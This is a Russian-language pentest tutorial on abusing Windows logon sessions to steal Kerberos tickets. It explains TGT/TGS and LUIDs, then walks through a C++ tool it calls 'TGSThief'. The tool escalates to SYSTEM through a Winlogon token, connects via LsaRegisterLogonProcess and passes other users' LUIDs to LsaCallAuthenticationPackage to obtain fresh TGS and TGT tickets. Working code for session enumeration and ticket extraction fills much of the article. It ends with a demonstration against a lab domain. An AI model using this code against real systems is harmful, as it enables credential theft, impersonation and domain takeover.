Существуют различные способы злоупотребления сеансом работы пользователя на устройстве. Но знаете ли вы, что можно подделать получение пользователем TGT-билета с помощью вполне легитимных функций Windows? Недавно было представлены несколько методов такого рода атак. Самыми интересными из них являются WTSImpersonator и GIUDA. Второй позволяет получить билеты вошедшего в систему пользователя, даже не имея его пароля! Сегодня разберемся, как работает GIUDA, и попробуем написать реализацию на языке C++.
Еще по теме: Атака Key List Kerberos
Что такое TGT
TGT представляет собой особый вид билета, который выдается пользователю при успешной аутентификации в системе Kerberos. Этот процесс осуществляется с использованием пароля пользователя и предотвращает передачу пароля по сети.
Вот как работает TGT.
- Аутентификация пользователя:
- Пользователь вводит свой логин и пароль.
- Сервер аутентификации Kerberos проверяет правильность пароля.
- Если аутентификация проходит успешно, сервер генерирует TGT.
- Выдача TGT:
- TGT содержит информацию о пользователе, времени его аутентификации и другие метаданные.
- TGT также содержит сессионный ключ, который будет использоваться для дальнейшего взаимодействия.
- Использование TGT для получения других билетов:
- Пользователь может использовать TGT для запроса билетов на доступ к различным ресурсам в сети.
- Каждый билет содержит информацию о конкретном ресурсе и защищен сессионным ключом, что обеспечивает безопасность передачи.
Сеанс входа в систему
При авторизации пользователя в Windows создается сессия юзера, в которой хранятся все данные пользователя. Для всех новых пользователей создается новый сеанс. Например, если на машине одновременно находятся два пользователя, то сессий будет две.
Каждый сеанс имеет имя LUID (локально уникальный идентификатор). По названию понятно, что LUID уникален для каждого сеанса. Информация сохраняется в формате структуры.
1 2 3 4 |
typedef struct _LUID { ULONG LowPart; LONG HighPart; } LUID, *PLUID; |
Собственно LUID представляется в виде двух значений: ULONG и LONG. При этом обычно заполнено только поле LowPart, а HighPart имеет значение .
Такая структура применяется всеми функциями WinAPI, так или иначе связанными с пользовательскими сессиями.
При помощи функции GetTokenInformation() можно узнать пользовательский LUID. Для этого функции должен быть передан токен процесса, выполняющегося от имени текущего пользователя.
Теперь пора показать, как запрашиваются билеты Kerberos самой LSA. Это поможет нам подменить LUID и получить чужой тикет.
Как LSA запрашивает билеты Kerberos
Для запроса TGS-билета LSA получает SPN (service principal name, идентификатор службы) и передает на KDC. Мы можем запрашивать билеты TGS сами. Для этого есть функция LsaCallAuthenticationPackage().
1 2 3 4 5 6 7 8 9 |
NTSTATUS LsaCallAuthenticationPackage( [in] HANDLE LsaHandle, [in] ULONG AuthenticationPackage, [in] PVOID ProtocolSubmitBuffer, [in] ULONG SubmitBufferLength, [out] PVOID *ProtocolReturnBuffer, [out] PULONG ReturnBufferLength, [out] PNTSTATUS ProtocolStatus ); |
Здесь
- LsaHandle — хендл, указывающий на службу LSA, который можно получить с помощью LsaRegisterLogonProcess() или LsaConnectUntrusted();
- AuthenticationPackage — номер AP, с которым следует взаимодействовать;
- ProtocolSubmitBuffer — передаваемый буфер, мы будем отдавать KERB_RETRIEVE_TKT_REQUEST;
- SubmitBufferLength — размер передаваемого буфера;
- ProtocolReturnBuffer — ответ от AuthenticationPackage. Нам прилетит структура KERB_RETRIEVE_TKT_RESPONSE;
- ReturnBufferLength — размер буфера с ответом;
- ProtocolStatus — значение, которое будет содержать код ошибки от AP.
Итак, как заполнить KERB_RETRIEVE_TKT_REQUEST, чтобы получить билет TGS? Структура выглядит вот так:
1 2 3 4 5 6 7 8 9 |
typedef struct _KERB_RETRIEVE_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING TargetName; ULONG TicketFlags; ULONG CacheOptions; LONG EncryptionType; SecHandle CredentialsHandle; } KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST; |
Здесь:
- MessageType — то, что нам нужно получить от AP. Указываем KerbRetrieveEncodedTicketMessage;
- LogonID — LUID сессии, от лица которой происходит обращение к AP. Именно в этот момент и будет подменен LUID. Проблема в том, что если мы подключились к LSA через LsaConnectUntrusted(), то у нас не получится указать здесь LUID чужой сессии — LSA выдаст ошибку 0x5 ERROR_ACCESS_DENIED, но если мы подключимся через LsaRegisterLogonProcess(), то сможем передавать сюда любой желанный LUID. И таким образом сможем запрашивать билеты из чужой сессии;
- TargetName — здесь указываем SPN службы, на которую нужно получить билет;
- CacheOptions — опции, связанные с кешем LSA. Кеш LSA — это некое хранилище, в котором лежат билеты. Здесь тоже есть некоторые особенности. Если мы сразу укажем KERB_RETRIEVE_TICKET_AS_KERB_CRED (значение для получения билета в форме KRB_CRED, сразу с сессионным ключом; подробности — в другой моей статье), то есть шанс не получить билет. Проблема в том, что в кеше LSA может не быть билета для той службы, на которую мы хотим сходить. И если мы сразу указываем KERB_RETRIEVE_TICKET_AS_KERB_CRED, то LSA может просто не вернуть никакого билета, поскольку возвращать нечего. Поэтому придется дважды вызвать функцию LsaCallAuthenticationPackage(). Первый раз — со значением KERB_RETRIEVE_TICKET_DEFAULT, второй — с KERB_RETRIEVE_TICKET_AS_KERB_CRED. …DEFAULT отвечает за запрос билета. То есть просим LSA обратиться к KDC и получить билет;
- EncryptionType — желаемый тип шифрования для запрошенного билета. Указываем KERB_ETYPE_DEFAULT — нам не принципиален тип шифрования;
- CredentialsHandle — используется для SSPI, в данном случае неважно.
Кража билетов TGT
Мы разобрались с тем, как работает запрос билетов Kerberos на локальной системе. Пора переходить к эксплуатации! Полный исходный код проекта можешь посмотреть в репозитории.
Сначала мы перечисляем все имеющиеся сессии, для этого я создал функцию LogonInfo(). Она принимает указатель на структуру LUID, которая будет проинициализирована нужной сессией. Фактически — у какого пользователя нужно стащить билет. Ну или не «стащить», а получить новый, абсолютно свежий и чистый билет для каждого пользователя.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
BOOL LogonInfo(LUID* LogonSession) { std::vector logonIds; PLUID sessions; ULONG sessionCount; if (LsaEnumerateLogonSessions(&sessionCount, &sessions) != 0) { return FALSE; } for (ULONG i = 0; i < sessionCount; ++i) { logonIds.push_back(sessions[i]); } LsaFreeReturnBuffer(sessions); for (size_t i = 0; i < logonIds.size(); ++i) { std::wcout << L"\t[!] Index: " << i << L", Logon ID: " << to_hex(logonIds[i].LowPart) << ", Username: " << GetUserNameFromLogonId(logonIds[i]) << '\n'; } size_t index; std::cout << "\n[?] Enter index of logon session: "; std::cin >> index; if (index < logonIds.size()) { LUID selectedLogonId = logonIds[index]; *LogonSession = selectedLogonId; return TRUE; } else { return FALSE; } return FALSE; } |
Следующим шагом подключаемся к LSA с помощью LsaRegisterLogonProcess(), чтобы передать LUID чужой сессии. Для вызова этой функции нужна привилегия SeTcbPrivilege. Ей обладает только учетная запись системы. Привилегию, конечно, можно назначить и руками через GPO или с помощью Privileger.
Чувствуешь, что это несколько неудобно? Поэтому я добавил в код простейший алгоритм для повышения привилегий до учетной записи системы. Здесь все стандартно:
- Получаем привилегии SeDebugPrivilege и SeImpersonatePrivilege.
- Получаем токен процесса, запущенного от лица системы. Я получаю токен с Winlogon.
- Применяем токен к нашей программе с помощью ImpersonateLoggedOnUser().
Код я выделил в отдельный файл getsystem.cpp.
Теперь у нас есть привилегия SeTcbPrivilege, так как ей обладает учетная запись системы. Следующим шагом с помощью LsaLookupAuthenticationPackage() получаем номер AP Kerberos.
Наконец у нас есть хендл, LUID и номер AP Kerberos. Пора ломать!
Для этого я написал отдельную функцию AskTgs(). Она принимает все эти данные.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
BOOL AskTgs(HANDLE hLsa, ULONG AP, LUID logonId, LPCWSTR szTarget, LUID originaLuid) { ... } Сначала готовим две структуры — KERB_RETRIEVE_TKT_REQUEST и KERB_RETRIEVE_TKT_RESPONSE. Первую инициализируем значениями, которые я уже описывал. PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest; PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse; dwTarget = (USHORT)((wcslen(szTarget) + 1) * sizeof(wchar_t)); szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget; pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_DEFAULT; pKerbRetrieveRequest->EncryptionType = KERB_ETYPE_DEFAULT; pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t); pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget; pKerbRetrieveRequest->LogonId = logonId; pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST)); RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest->TargetName.MaximumLength); |
И вызываем LSA:
1 |
NTSTATUS status = LsaCallAuthenticationPackage(hLsa, AP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus); |
Теперь LSA обратится к KDC и получит новый тикет. Если мы сразу же попробуем его извлечь, то он не будет валидным. Точнее, в нем не будет сессионного ключа и пользоваться им не получится.
Поэтому, убедившись, что вызов успешно совершен, меняем CacheOptions на KERB_RETRIEVE_TICKET_AS_KERB_CRED и обращаемся к LSA.
1 2 3 4 5 6 7 8 |
if (status == STATUS_SUCCESS) { if (packageStatus == STATUS_SUCCESS) { pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; status = LsaCallAuthenticationPackage(hLsa, AP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus); if (status == STATUS_SUCCESS) { if (packageStatus == STATUS_SUCCESS) { std::wcout << L"[+] Asking for TGS Success" << std::endl; std::cout << "[+] Ticket: " << base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std::endl; |
Билет будет лежать в поле Ticket.EncodedTicket. Предлагаю посмотреть, как это работает.
Представим, что во время пентеста мы сломали машину, на которую ходит пользователь CRINGE\petka. Запускаем TGSThief и видим его сессию.
Передаем номер его сессии.
Затем прописываем нужный SPN, то есть службу, на которую нужно получить TGS-билет. И получаем его.
Успех! Теперь можем ходить от лица CRINGE\petka на dc01.cringe.lab.
TGT — это TGS
Казалось бы, получение билета TGS — отличный результат! Но всегда хочется большего, правда? Знаешь ли ты, что билет TGT — это фактически билет TGS, но на службу krbtgt? Получается, что у нас есть TGS-билет на krbtgt, а служба krbtgt позволяет выписывать другие TGS-билеты. Вот и всё.
К такому выводу я пришел, когда писал дампер билетов. Доказать проще простого: вновь запускаем TGSThief, только в этот раз указываем krbtgt/cringe.lab.
Бинго! Мы можем запрашивать чужие билеты TGT! Таким образом, если при пентесте удалось захватить какой‑то хост, куда ходят пользователи, то, используя TGSThief, получится раздобыть и TGT этих пользователей. Причем билеты TGT будут абсолютно свежие, новые, только что запрошенные.
Заключение
Теперь ты знаешь, как злоупотреблять сессиями пользователей по‑новому. Эта атака в очередной раз подтверждает, что на системы нельзя ходить от лица администратора домена. В противном случае атакующий сможет захватить всю сеть в считаные минуты.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Атака RBCD для захвата домена Active Directory
- Эксплуатация уязвимости CVE-2023-21746 LocalPotato
- Использование Kerbrute для атаки на Kerberos Active Directory